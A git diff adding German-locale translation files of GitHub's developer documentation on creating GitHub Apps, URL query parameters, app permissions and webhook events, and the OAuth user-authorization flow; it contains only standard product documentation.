+Sobald der letzte Schritt des Manifestflows abgeschlossen ist, ist die Person, die die App aus dem Manifest erstellt hat, der Besitzer einer registrierten GitHub-App und kann diese in einem beliebigen persönlichen Repository installieren. Sie kann die App mithilfe der GitHub-APIs erweitern, den Besitz an eine andere Person übertragen oder die App jederzeit löschen.
+
+## Implementieren des Manifestflows für GitHub-Apps mithilfe von Probot
+
+[Probot](https://probot.github.io/) ist ein Framework basierend auf [Node.js](https://nodejs.org/), das eine Vielzahl der von allen GitHub-Apps benötigten Aufgaben ausführt, wie etwa die Überprüfung von Webhooks oder die Ausführung von Authentifizierungen. Probot implementiert den [Manifestflow für GitHub-Apps](#implementing-the-github-app-manifest-flow) und erleichtert die Erstellung von Referenzentwürfen für GitHub-Apps und ihre Freigabe für die GitHub-Community.
+
+Führe die folgenden Schritte aus, um eine Probot-App zur Freigabe zu erstellen:
+
+1. [Erstelle eine neue GitHub-App](https://probot.github.io/docs/development/#generating-a-new-app).
+1. Öffne das erstellte Projekt, und passe die Einstellungen in der Datei `app.yml` an. Diese Einstellungen in `app.yml` verwendet Probot als [Manifestparameter für GitHub-Apps](#github-app-manifest-parameters).
+1. Füge den benutzerdefinierten Code deiner Anwendung hinzu.
+1. [Führe die GitHub-App lokal aus](https://probot.github.io/docs/development/#running-the-app-locally), oder [hoste sie an einem beliebigen Standort](#hosting-your-app-with-glitch). Unter der URL der gehosteten App befindet sich eine Webseite mit der Schaltfläche **GitHub-App registrieren**, auf die Benutzer*innen klicken können, um eine vorkonfigurierte App zu erstellen. Die folgende Webseite zeigt die Probot-Implementierung von [Schritt 1](#1-you-redirect-people-to-github-to-create-a-new-github-app) des Manifestflows für GitHub-Apps:
+
+![Registrieren einer GitHub-App mit Probot](/assets/images/github-apps/github_apps_probot-registration.png)
+
+Mithilfe von [dotenv](https://github.com/bkeepers/dotenv) erstellt Probot eine `.env`-Datei und legt die Umgebungsvariablen `APP_ID`, `PRIVATE_KEY` und `WEBHOOK_SECRET` auf die Wert fest, die [aus der App-Konfiguration abgerufen wurden](#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration).
+
+### Hosten deiner App mit Glitch
+
+In der [Probot-Beispiel-App](https://glitch.com/~auspicious-aardwolf) wird die App mit [Glitch](https://glitch.com/) gehostet und freigegeben. Im Beispiel wird die [API für Überprüfungen](/rest/reference/checks) verwendet, und die erforderlichen Ereignisse und Berechtigungen der Überprüfungs-API werden in der Datei `app.yml` ausgewählt. Glitch ist ein Tool, mit dem du deine eigenen Apps „Neu mischen“ kannst. Dabei wird eine Kopie der App erstellt, die Glitch hostet und bereitstellt. Weitere Informationen zu den Funktionen von Glitch-Apps findest du unter [Informationen zu Glitch](https://glitch.com/about/).
diff --git a/translations/de-DE/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md b/translations/de-DE/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
new file mode 100644
index 0000000000..8bbebd4b20
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
@@ -0,0 +1,131 @@
+---
+title: Creating a GitHub App using URL parameters
+intro: 'You can preselect the settings of a new {% data variables.product.prodname_github_app %} using URL [query parameters](https://en.wikipedia.org/wiki/Query_string) to quickly set up the new {% data variables.product.prodname_github_app %}''s configuration.'
+redirect_from:
+  - /apps/building-github-apps/creating-github-apps-using-url-parameters
+  - /developers/apps/creating-a-github-app-using-url-parameters
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: App creation query parameters
+---
+## About {% data variables.product.prodname_github_app %} URL parameters
+
+You can add query parameters to these URLs to preselect the configuration of a {% data variables.product.prodname_github_app %} on a personal or organization account:
+
+* **Personal account:** `{% data variables.product.oauth_host_code %}/settings/apps/new`
+* **Organization account:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new`
+
+The person creating the app can edit the preselected values from the {% data variables.product.prodname_github_app %} registration page, before submitting the app. If you do not include required parameters in the URL query string, like `name`, the person creating the app will need to input a value before submitting the app.
+
+For apps that require a secret to secure their webhook, the secret's value must be set in the form by the person creating the app, not by using query parameters. For more information, see "[Securing your webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)."
+
+The following URL creates a new public app called `octocat-github-app` with a preconfigured description and callback URL. This URL also selects read and write permissions for `checks`, subscribes to the `check_run` and `check_suite` webhook events, and selects the option to request user authorization (OAuth) during installation:
+
+```text
+{% data variables.product.oauth_host_code %}/settings/apps/new?name=octocat-github-app&description=An%20Octocat%20App&callback_urls[]=https://example.com&request_oauth_on_install=true&public=true&checks=write&events[]=check_run&events[]=check_suite
+```
+
+The complete list of available query parameters, permissions, and events is listed in the sections below.
+
+## {% data variables.product.prodname_github_app %} configuration parameters
+
+ Name | Type | Description
+-----|------|-------------
+`name` | `string` | The name of the {% data variables.product.prodname_github_app %}. Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub user, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action.
+`description` | `string` | A description of the {% data variables.product.prodname_github_app %}.
+`url` | `string` | The full URL of your {% data variables.product.prodname_github_app %}'s website homepage.
+`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs. These URLs are used if your app needs to identify and authorize user-to-server requests. For example, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`.
+`request_oauth_on_install` | `boolean` | If your app authorizes users using the OAuth flow, you can set this option to `true` to allow people to authorize the app when they install it, saving a step. If you select this option, the `setup_url` becomes unavailable and users will be redirected to your `callback_url` after installing the app.
+`setup_url` | `string` | The full URL to redirect to after someone installs the {% data variables.product.prodname_github_app %} if the app requires additional setup after installation.
+`setup_on_update` | `boolean` | Set to `true` to redirect people to the setup URL when installations have been updated, for example, after repositories are added or removed.
+`public` | `boolean` | Set to `true` when your {% data variables.product.prodname_github_app %} is available to the public or `false` when it is only accessible to the owner of the app.
+`webhook_active` | `boolean` | Set to `false` to disable webhook. Webhook is enabled by default.
+`webhook_url` | `string` | The full URL that you would like to send webhook event payloads to.
+{% ifversion ghae %}`webhook_secret` | `string` | You can specify a secret to secure your webhooks. See "[Securing your webhooks](/webhooks/securing/)" for more details.
+{% endif %}`events` | `array of strings` | Webhook events. Some webhook events require `read` or `write` permissions for a resource before you can select the event when registering a new {% data variables.product.prodname_github_app %}. See the "[{% data variables.product.prodname_github_app %} webhook events](#github-app-webhook-events)" section for available events and their required permissions. You can select multiple events in a query string. For example, `events[]=public&events[]=label`.{% ifversion ghes < 3.4 %}
+`domain` | `string` | The URL of a content reference.{% endif %}
+`single_file_name` | `string` | This is a narrowly-scoped permission that allows the app to access a single file in any repository. When you set the `single_file` permission to `read` or `write`, this field provides the path to the single file your {% data variables.product.prodname_github_app %} will manage. {% ifversion fpt or ghes or ghec %} If you need to manage multiple files, see `single_file_paths` below. {% endif %}{% ifversion fpt or ghes or ghec %}
+`single_file_paths` | `array of strings` | This allows the app to access up ten specified files in a repository. When you set the `single_file` permission to `read` or `write`, this array can store the paths for up to ten files that your {% data variables.product.prodname_github_app %} will manage. These files all receive the same permission set by `single_file`, and do not have separate individual permissions. When two or more files are configured, the API returns `multiple_single_files=true`, otherwise it returns `multiple_single_files=false`.{% endif %}
+
+## {% data variables.product.prodname_github_app %} permissions
+
+You can select permissions in a query string using the permission name in the following table as the query parameter name and the permission type as the query value. For example, to select `Read & write` permissions in the user interface for `contents`, your query string would include `&contents=write`. To select `Read-only` permissions in the user interface for `blocking`, your query string would include `&blocking=read`. To select `no-access` in the user interface for `checks`, your query string would not include the `checks` permission.
+
+Permission | Description
+---------- | -----------
+[`administration`](/rest/reference/permissions-required-for-github-apps#administration) | Grants access to various endpoints for organization and repository administration. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %}
+[`blocking`](/rest/reference/permissions-required-for-github-apps#blocking-users) | Grants access to the [Blocking Users API](/rest/reference/users#blocking). Can be one of: `none`, `read`, or `write`.{% endif %}
+[`checks`](/rest/reference/permissions-required-for-github-apps#checks) | Grants access to the [Checks API](/rest/reference/checks). Can be one of: `none`, `read`, or `write`.{% ifversion ghes < 3.4 %}
+`content_references` | Grants access to the "[Create a content attachment](/rest/reference/apps#create-a-content-attachment)" endpoint. Can be one of: `none`, `read`, or `write`.{% endif %}
+[`contents`](/rest/reference/permissions-required-for-github-apps#contents) |  Grants access to various endpoints that allow you to modify repository contents. Can be one of: `none`, `read`, or `write`.
+[`deployments`](/rest/reference/permissions-required-for-github-apps#deployments) | Grants access to the [Deployments API](/rest/reference/repos#deployments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghec %}
+[`emails`](/rest/reference/permissions-required-for-github-apps#email-addresses) | Grants access to the [Emails API](/rest/reference/users#emails). Can be one of: `none`, `read`, or `write`.{% endif %}
+[`followers`](/rest/reference/permissions-required-for-github-apps#followers) | Grants access to the [Followers API](/rest/reference/users#followers). Can be one of: `none`, `read`, or `write`.
+[`gpg_keys`](/rest/reference/permissions-required-for-github-apps#gpg-keys) | Grants access to the [GPG Keys API](/rest/reference/users#gpg-keys). Can be one of: `none`, `read`, or `write`.
+[`issues`](/rest/reference/permissions-required-for-github-apps#issues) | Grants access to the [Issues API](/rest/reference/issues). Can be one of: `none`, `read`, or `write`.
+[`keys`](/rest/reference/permissions-required-for-github-apps#git-ssh-keys) | Grants access to the [Public Keys API](/rest/reference/users#keys). Can be one of: `none`, `read`, or `write`.
+[`members`](/rest/reference/permissions-required-for-github-apps#members) |  Grants access to manage an organization's members. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %}
+[`metadata`](/rest/reference/permissions-required-for-github-apps#metadata) | Grants access to read-only endpoints that do not leak sensitive data. Can be `read` or `none`. Defaults to `read` when you set any permission, or defaults to `none` when you don't specify any permissions for the {% data variables.product.prodname_github_app %}.
+[`organization_administration`](/rest/reference/permissions-required-for-github-apps#organization-administration) | Grants access to "[Update an organization](/rest/reference/orgs#update-an-organization)" endpoint and the [Organization Interaction Restrictions API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization). Can be one of: `none`, `read`, or `write`.{% endif %}
+[`organization_hooks`](/rest/reference/permissions-required-for-github-apps#organization-webhooks) | Grants access to the [Organization Webhooks API](/rest/reference/orgs#webhooks/). Can be one of: `none`, `read`, or `write`.
+`organization_plan` | Grants access to get information about an organization's plan using the "[Get an organization](/rest/reference/orgs#get-an-organization)" endpoint. Can be one of: `none` or `read`.
+[`organization_projects`](/rest/reference/permissions-required-for-github-apps#organization-projects) |  Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghec %}
+[`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps#organization-user-blocking) | Grants access to the [Blocking Organization Users API](/rest/reference/orgs#blocking). Can be one of: `none`, `read`, or `write`.{% endif %}
+[`pages`](/rest/reference/permissions-required-for-github-apps#pages) | Grants access to the [Pages API](/rest/reference/repos#pages). Can be one of: `none`, `read`, or `write`.
+`plan` | Grants access to get information about a user's GitHub plan using the "[Get a user](/rest/reference/users#get-a-user)" endpoint. Can be one of: `none` or `read`.
+[`pull_requests`](/rest/reference/permissions-required-for-github-apps#pull-requests) | Grants access to various pull request endpoints. Can be one of: `none`, `read`, or `write`.
+[`repository_hooks`](/rest/reference/permissions-required-for-github-apps#repository-webhooks) | Grants access to the [Repository Webhooks API](/rest/reference/repos#hooks). Can be one of: `none`, `read`, or `write`.
+[`repository_projects`](/rest/reference/permissions-required-for-github-apps#repository-projects) |  Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion ghes or ghec %}
+[`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps#secret-scanning-alerts) |  Grants access to the [Secret scanning API](/rest/reference/secret-scanning). Can be one of: `none`, `read`, or `write`.{% endif %}{% ifversion fpt or ghes or ghec %}
+[`security_events`](/rest/reference/permissions-required-for-github-apps#code-scanning-alerts) |  Grants access to the [Code scanning API](/rest/reference/code-scanning/). Can be one of: `none`, `read`, or `write`.{% endif %}
+[`single_file`](/rest/reference/permissions-required-for-github-apps#single-file) | Grants access to the [Contents API](/rest/reference/repos#contents). Can be one of: `none`, `read`, or `write`.
+[`starring`](/rest/reference/permissions-required-for-github-apps#starring) | Grants access to the [Starring API](/rest/reference/activity#starring). Can be one of: `none`, `read`, or `write`.
+[`statuses`](/rest/reference/permissions-required-for-github-apps#commit-statuses) | Grants access to the [Statuses API](/rest/reference/commits#commit-statuses). Can be one of: `none`, `read`, or `write`.
+[`team_discussions`](/rest/reference/permissions-required-for-github-apps#team-discussions) | Grants access to the [Team Discussions API](/rest/reference/teams#discussions) and the [Team Discussion Comments API](/rest/reference/teams#discussion-comments). Can be one of: `none`, `read`, or `write`.
+[`vulnerability_alerts`](/rest/reference/permissions-required-for-github-apps#dependabot-alerts)| Grants access to receive {% data variables.product.prodname_dependabot_alerts %} in a repository. See "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)" to learn more. Can be one of: `none`, `read`, or `write`.
+`watching` | Grants access to list and change repositories a user is subscribed to. Can be one of: `none`, `read`, or `write`.
+
+## {% data variables.product.prodname_github_app %} webhook events
+
+Webhook event name | Required permission | Description
+------------------ | ------------------- | -----------
+[`check_run`](/webhooks/event-payloads/#check_run) |`checks` | {% data reusables.webhooks.check_run_short_desc %}
+[`check_suite`](/webhooks/event-payloads/#check_suite) |`checks` | {% data reusables.webhooks.check_suite_short_desc %}
+[`commit_comment`](/webhooks/event-payloads/#commit_comment) | `contents` | {% data reusables.webhooks.commit_comment_short_desc %}{% ifversion ghes < 3.4 %}
+[`content_reference`](/webhooks/event-payloads/#content_reference) |`content_references` | {% data reusables.webhooks.content_reference_short_desc %}{% endif %}
+[`create`](/webhooks/event-payloads/#create) | `contents` | {% data reusables.webhooks.create_short_desc %}
+[`delete`](/webhooks/event-payloads/#delete) | `contents` | {% data reusables.webhooks.delete_short_desc %}
+[`deployment`](/webhooks/event-payloads/#deployment) | `deployments` | {% data reusables.webhooks.deployment_short_desc %}
+[`deployment_status`](/webhooks/event-payloads/#deployment_status) | `deployments` | {% data reusables.webhooks.deployment_status_short_desc %}
+[`fork`](/webhooks/event-payloads/#fork) | `contents` | {% data reusables.webhooks.fork_short_desc %}
+[`gollum`](/webhooks/event-payloads/#gollum) | `contents` | {% data reusables.webhooks.gollum_short_desc %}
+[`issues`](/webhooks/event-payloads/#issues) | `issues` | {% data reusables.webhooks.issues_short_desc %}
+[`issue_comment`](/webhooks/event-payloads/#issue_comment) | `issues` | {% data reusables.webhooks.issue_comment_short_desc %}
+[`label`](/webhooks/event-payloads/#label) | `metadata` | {% data reusables.webhooks.label_short_desc %}
+[`member`](/webhooks/event-payloads/#member) | `members` | {% data reusables.webhooks.member_short_desc %}
+[`membership`](/webhooks/event-payloads/#membership) | `members` | {% data reusables.webhooks.membership_short_desc %}
+[`milestone`](/webhooks/event-payloads/#milestone) | `pull_request` | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %}
+[`org_block`](/webhooks/event-payloads/#org_block) | `organization_administration` | {% data reusables.webhooks.org_block_short_desc %}{% endif %}
+[`organization`](/webhooks/event-payloads/#organization) | `members` | {% data reusables.webhooks.organization_short_desc %}
+[`page_build`](/webhooks/event-payloads/#page_build) | `pages` | {% data reusables.webhooks.page_build_short_desc %}
+[`project`](/webhooks/event-payloads/#project) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_short_desc %}
+[`project_card`](/webhooks/event-payloads/#project_card) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_card_short_desc %}
+[`project_column`](/webhooks/event-payloads/#project_column) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_column_short_desc %}
+[`public`](/webhooks/event-payloads/#public) | `metadata` | {% data reusables.webhooks.public_short_desc %}
+[`pull_request`](/webhooks/event-payloads/#pull_request) | `pull_requests` | {% data reusables.webhooks.pull_request_short_desc %}
+[`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | `pull_request` | {% data reusables.webhooks.pull_request_review_short_desc %}
+[`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request` | {% data reusables.webhooks.pull_request_review_comment_short_desc %}
+[`pull_request_review_thread`](/webhooks/event-payloads/#pull_request_review_thread) | `pull_request` | {% data reusables.webhooks.pull_request_review_thread_short_desc %}
+[`push`](/webhooks/event-payloads/#push) | `contents` | {% data reusables.webhooks.push_short_desc %}
+[`release`](/webhooks/event-payloads/#release) | `contents` | {% data reusables.webhooks.release_short_desc %}
+[`repository`](/webhooks/event-payloads/#repository) |`metadata` | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %}
+[`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) | `contents` | Allows integrators using GitHub Actions to trigger custom events.{% endif %}
+[`status`](/webhooks/event-payloads/#status) | `statuses` | {% data reusables.webhooks.status_short_desc %}
+[`team`](/webhooks/event-payloads/#team) | `members` | {% data reusables.webhooks.team_short_desc %}
+[`team_add`](/webhooks/event-payloads/#team_add) | `members` | {% data reusables.webhooks.team_add_short_desc %}
+[`watch`](/webhooks/event-payloads/#watch) | `metadata` | {% data reusables.webhooks.watch_short_desc %}
diff --git a/translations/de-DE/content/developers/apps/building-github-apps/creating-a-github-app.md b/translations/de-DE/content/developers/apps/building-github-apps/creating-a-github-app.md
new file mode 100644
index 0000000000..0736283303
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-github-apps/creating-a-github-app.md
@@ -0,0 +1,85 @@
+---
+title: Creating a GitHub App
+intro: '{% data reusables.shortdesc.creating_github_apps %}'
+redirect_from:
+  - /early-access/integrations/creating-an-integration
+  - /apps/building-integrations/setting-up-and-registering-github-apps/registering-github-apps
+  - /apps/building-github-apps/creating-a-github-app
+  - /developers/apps/creating-a-github-app
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+---
+{% ifversion fpt or ghec %}To learn how to use GitHub App Manifests, which allow people to create preconfigured GitHub Apps, see "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)."{% endif %}
+
+{% ifversion fpt or ghec %}
+{% note %}
+
+  **Note:** {% data reusables.apps.maximum-github-apps-allowed %}
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.apps.settings-step %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.github_apps %}
+1. Click **New GitHub App**.
+![Button to create a new GitHub App](/assets/images/github-apps/github_apps_new.png)
+1. In "GitHub App name", type the name of your app.
+![Field for the name of your GitHub App](/assets/images/github-apps/github_apps_app_name.png)
+
+  Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub account, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action.
+
+1. Optionally, in "Description", type a description of your app that users will see.
+![Field for a description of your GitHub App](/assets/images/github-apps/github_apps_description.png)
+1. In "Homepage URL", type the full URL to your app's website.
+![Field for the homepage URL of your GitHub App](/assets/images/github-apps/github_apps_homepage_url.png)
+{% ifversion fpt or ghes or ghec %}
+1. In "Callback URL", type the full URL to redirect to after a user authorizes the installation. This URL is used if your app needs to identify and authorize user-to-server requests.
+
+  You can use **Add callback URL** to provide additional callback URLs, up to a maximum of 10.
+
+  ![Button for 'Add callback URL' and field for callback URL](/assets/images/github-apps/github_apps_callback_url_multiple.png)
+{% else %}
+1. In "User authorization callback URL", type the full URL to redirect to after a user authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests.
+![Field for the user authorization callback URL of your GitHub App](/assets/images/github-apps/github_apps_user_authorization.png)
+
+{% endif %}
+1. By default, to improve your app's security, your app will use expiring user authorization tokens. To opt-out of using expiring user tokens, you must deselect "Expire user authorization tokens". To learn more about setting up a refresh token flow and the benefits of expiring user tokens, see "[Refreshing user-to-server access tokens](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)."
+  ![Option to opt-in to expiring user tokens during GitHub Apps setup](/assets/images/github-apps/expire-user-tokens-selection.png)
+1. If your app authorizes users using the OAuth flow, you can select **Request user authorization (OAuth) during installation** to allow people to authorize the app when they install it, saving a step. If you select this option, the "Setup URL" becomes unavailable and users will be redirected to your "User authorization callback URL" after installing the app. See "[Authorizing users during installation](/apps/installing-github-apps/#authorizing-users-during-installation)" for more information.
+![Request user authorization during installation](/assets/images/github-apps/github_apps_request_auth_upon_install.png){% ifversion device-flow-is-opt-in %}
+1. If your GitHub App will use the device flow to identify and authorize users, click **Enable Device Flow**. For more information about the device flow, see "[Authorizing OAuth Apps](/developers/apps/building-oauth-apps/authorizing-oauth-apps#device-flow)."
+  ![Screenshot showing field for enabling device flow](/assets/images/oauth-apps/enable-device-flow.png){% endif %}
+1. If additional setup is required after installation, add a "Setup URL" to redirect users to after they install your app.
+![Field for the setup URL of your GitHub App ](/assets/images/github-apps/github_apps_setup_url.png)
+
+  {% note %}
+
+  **Note:** When you select **Request user authorization (OAuth) during installation** in the previous step, this field becomes unavailable and people will be redirected to the "User authorization callback URL" after installing the app.
+
+  {% endnote %}
+
+1. In "Webhook URL", type the URL that events will POST to. Each app receives its own webhook which will notify you every time the app is installed or modified, as well as any other events the app subscribes to.
+![Field for the webhook URL of your GitHub App](/assets/images/github-apps/github_apps_webhook_url.png)
+
+1. Optionally, in "Webhook Secret", type an optional secret token used to secure your webhooks.
+![Field to add a secret token for your webhook](/assets/images/github-apps/github_apps_webhook_secret.png)
+
+  {% note %}
+
+  **Note:** We highly recommend that you set a secret token. For more information, see "[Securing your webhooks](/webhooks/securing/)."
+
+  {% endnote %}
+
+1. In "Permissions", choose the permissions your app will request. For each type of permission, use the drop-down menu and click **Read-only**, **Read & write**, or **No access**.
+![Various permissions for your GitHub App](/assets/images/github-apps/github_apps_new_permissions_post2dot13.png)
+1. In "Subscribe to events", choose the events you want your app to receive.
+1. To choose where the app can be installed, select either **Only on this account** or **Any account**. For more information on installation options, see "[Making a GitHub App public or private](/apps/managing-github-apps/making-a-github-app-public-or-private/)."
+![Installation options for your GitHub App](/assets/images/github-apps/github_apps_installation_options.png)
+1. Click **Create GitHub App**.
+![Button to create your GitHub App](/assets/images/github-apps/github_apps_create_github_app.png)
diff --git a/translations/de-DE/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md b/translations/de-DE/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
new file mode 100644
index 0000000000..ad1538286e
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
@@ -0,0 +1,898 @@
+---
+title: Identifying and authorizing users for GitHub Apps (Identifizieren und Autorisieren von Benutzer*innen für GitHub-Apps)
+intro: '{% data reusables.shortdesc.identifying_and_authorizing_github_apps %}'
+redirect_from:
+  - /early-access/integrations/user-identification-authorization
+  - /apps/building-integrations/setting-up-and-registering-github-apps/identifying-users-for-github-apps
+  - /apps/building-github-apps/identifying-and-authorizing-users-for-github-apps
+  - /developers/apps/identifying-and-authorizing-users-for-github-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Identify & authorize users
+ms.openlocfilehash: 302e7a25931c3af2957dae7a67e0ca080fc5bd50
+ms.sourcegitcommit: f54d01e643f994ce48f0774dbc680ad77dd6193f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160580'
+---
+{% data reusables.pre-release-program.expiring-user-access-tokens %}
+
+Wenn die GitHub-App im Auftrag eines Benutzers eingesetzt wird, werden von ihr Benutzer-zu-Server-Anforderungen ausgeführt. Diese Anforderungen müssen mit dem Zugriffstoken eines Benutzers autorisiert werden. Benutzer-zu-Server-Anforderungen umfassen das Anfordern von Daten für einen Benutzer, z. B. die Bestimmung, welche Repositorys für einen bestimmten Benutzer angezeigt werden sollen. Diese Anforderungen enthalten auch Aktionen, die von einem Benutzer ausgelöst werden, z. B. das Ausführen eines Builds.
+
+{% data reusables.apps.expiring_user_authorization_tokens %}
+
+## Identifizieren von Benutzern auf der Website
+
+Verwende den [Webanwendungsfluss](#web-application-flow) zum Autorisieren von Benutzer*innen für Standard-Apps, die im Browser ausgeführt werden.
+
+Verwende den [Gerätefluss](#device-flow) zum Autorisieren von Benutzer*innen für monitorlose Apps ohne direkten Zugriff auf den Browser, z. B. CLI-Tools oder Git Credential Manager. Im Gerätefluss wird die Erweiterung OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628) verwendet.
+
+## Webanwendungsfluss
+
+Mithilfe des Webanwendungsflusses läuft der Prozess zum Identifizieren von Benutzer*innen auf deiner Website wie folgt ab:
+
+1. Benutzer werden umgeleitet, um ihre GitHub-Identität anzufordern.
+2. Benutzer*innen werden von GitHub wieder zu deiner Website umgeleitet.
+3. Die GitHub-App greift mit dem Zugriffstoken des Benutzers auf die API zu.
+
+Wenn du beim Erstellen oder Ändern der App **Anfordern der Benutzerautorisierung (OAuth) während der Installation** auswählst, wird Schritt 1 während der App-Installation abgeschlossen. Weitere Informationen findest du unter [Autorisieren von Benutzer*innen während der Installation](/apps/installing-github-apps/#authorizing-users-during-installation).
+
+### 1. Anfordern der GitHub-Identität eines Benutzers
+Leite den Benutzer bzw. die Benutzerin im Browser an die folgende URL weiter:
+
+    GET {% data variables.product.oauth_host_code %}/login/oauth/authorize
+
+Wenn von der GitHub-App ein `login`-Parameter angegeben wird, erfolgt die Benutzeraufforderung mit einem bestimmten Konto, das die Benutzer für die Anmeldung und Autorisierung der App verwenden können.
+
+#### Parameter
+
+Name | Typ | BESCHREIBUNG
+-----|------|------------
+`client_id` | `string` | **Erforderlich.** Die Client-ID für die GitHub-App. Du kannst diese in den [GitHub-App-Einstellungen](https://github.com/settings/apps) finden, wenn du deine App auswählst. **Hinweis:** Die App-ID und die Client-ID sind nicht identisch und können nicht ausgetauscht werden.
+`redirect_uri` | `string` | Die URL in der Anwendung, an die Benutzer nach der Autorisierung gesendet werden. Diese muss genau mit {% ifversion fpt or ghes or ghec %} einer der URLs übereinstimmen, die du als **Rückruf-URL** bereitgestellt hast {% else %} der URL übereinstimmen, die du im Feld **Rückruf-URL für die Benutzerautorisierung** bereitgestellt hast{% endif %}, als du deine GitHub-App eingerichtet hast, und darf keine zusätzlichen Parameter enthalten.
+`state` | `string` | Dies sollte zum Schutz vor Fälschungsangriffen eine zufällige Zeichenfolge enthalten und könnte andere beliebige Daten umfassen.
+`login` | `string` | Schlägt ein bestimmtes Konto vor, das zum Anmelden und Autorisieren der App verwendet werden soll.
+`allow_signup` | `string` | Ob nicht authentifizierten Benutzern während des OAuth-Flusses eine Option zum Registrieren für {% data variables.product.prodname_dotcom %} angeboten wird. Der Standardwert ist `true`. Verwende `false`, wenn eine Richtlinie die Anmeldung verbietet.
+
+{% note %}
+
+**Hinweis:** Du musst keine Bereiche in der Autorisierungsanforderung angeben. Im Gegensatz zum herkömmlichen OAuth-Protokoll ist das Autorisierungstoken auf die Berechtigungen beschränkt, die der GitHub-App und denen des Benutzers zugeordnet sind.
+
+{% endnote %}
+
+### 2. Benutzer*innen werden von GitHub wieder zu deiner Website umgeleitet.
+
+Wenn Benutzer*innen die Anforderung akzeptieren, werden sie von GitHub mit einem temporären `code` in einem Codeparameter sowie dem Status, den du im vorherigen Schritt in einem `state`-Parameter bereitgestellt hast, wieder zu deiner Website umgeleitet. Wenn die Status nicht übereinstimmen, wurde die Anforderung von Dritten erstellt und der Prozess sollte abgebrochen werden.
+
+{% note %}
+
+**Hinweis:** Wenn du beim Erstellen oder Ändern der App **Anfordern der Benutzerautorisierung (OAuth) während der Installation** auswählst, wird von GitHub ein temporärer `code` zurückgegeben, den du gegen ein Zugriffstoken austauschen musst. Der `state`-Parameter wird nicht zurückgegeben, wenn der OAuth-Fluss während der App-Installation von GibHub initiiert wird.
+
+{% endnote %}
+
+Tausche diesen `code` gegen ein Zugriffstoken aus.  Wenn ablaufende Token aktiviert sind, läuft das Zugriffstoken in 8 Stunden ab, und das Aktualisierungstoken läuft in 6 Monaten ab. Jedes Mal, wenn du das Token aktualisierst, erhältst du ein neues Aktualisierungstoken. Weitere Informationen findest du unter [Aktualisieren von Benutzer-zu-Server-Zugriffstoken](/developers/apps/refreshing-user-to-server-access-tokens).
+
+Ablaufende Benutzertoken sind derzeit ein optionales Feature, bei dem sich Änderungen ergeben können. Wenn du das Feature für ablaufende Benutzer-zu-Server-Token aktivieren möchtest, findest du entsprechende Informationen unter [Aktivieren optionaler Features für Apps](/developers/apps/activating-optional-features-for-apps).
+
+Stelle eine Anforderung an den folgenden Endpunkt, um ein Zugriffstoken zu erhalten:
+
+    POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
+
+#### Parameter
+
+Name | Typ | BESCHREIBUNG
+-----|------|------------
+`client_id` | `string` | **Erforderlich.** Die Client-ID für die GitHub-App.
+`client_secret` | `string`   | **Erforderlich.** Der geheime Clientschlüssel für die GitHub-App.
+`code` | `string`   | **Erforderlich.** Der Code, den du als Antwort auf Schritt 1 erhalten hast.
+`redirect_uri` | `string` | Die URL in der Anwendung, an die Benutzer nach der Autorisierung gesendet werden. Diese muss genau mit {% ifversion fpt or ghes or ghec %} einer der URLs übereinstimmen, die du als **Rückruf-URL** bereitgestellt hast {% else %} der URL übereinstimmen, die du im Feld **Rückruf-URL für die Benutzerautorisierung** bereitgestellt hast{% endif %}, als du deine GitHub-App eingerichtet hast, und darf keine zusätzlichen Parameter enthalten.
+
+#### Antwort
+
